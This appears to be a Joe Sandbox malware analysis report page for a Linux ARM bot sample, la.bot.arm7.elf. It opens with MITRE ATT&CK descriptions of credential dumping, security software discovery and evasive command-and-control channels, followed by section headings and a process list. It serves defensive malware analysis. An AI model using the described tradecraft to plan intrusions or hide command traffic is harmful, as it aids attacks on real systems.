Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report la.bot.arm7.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: la.bot.arm7.elf PID: 5432, Parent PID: 5355

General

Chronological Activities

Analysis Process: la.bot.arm7.elf PID: 5434, Parent PID: 5432

General

Chronological Activities

Analysis Process: la.bot.arm7.elf PID: 5442, Parent PID: 5432

General

Chronological Activities

Analysis Process: la.bot.arm7.elf PID: 5452, Parent PID: 5442

General

Chronological Activities

Linux Analysis Report
la.bot.arm7.elf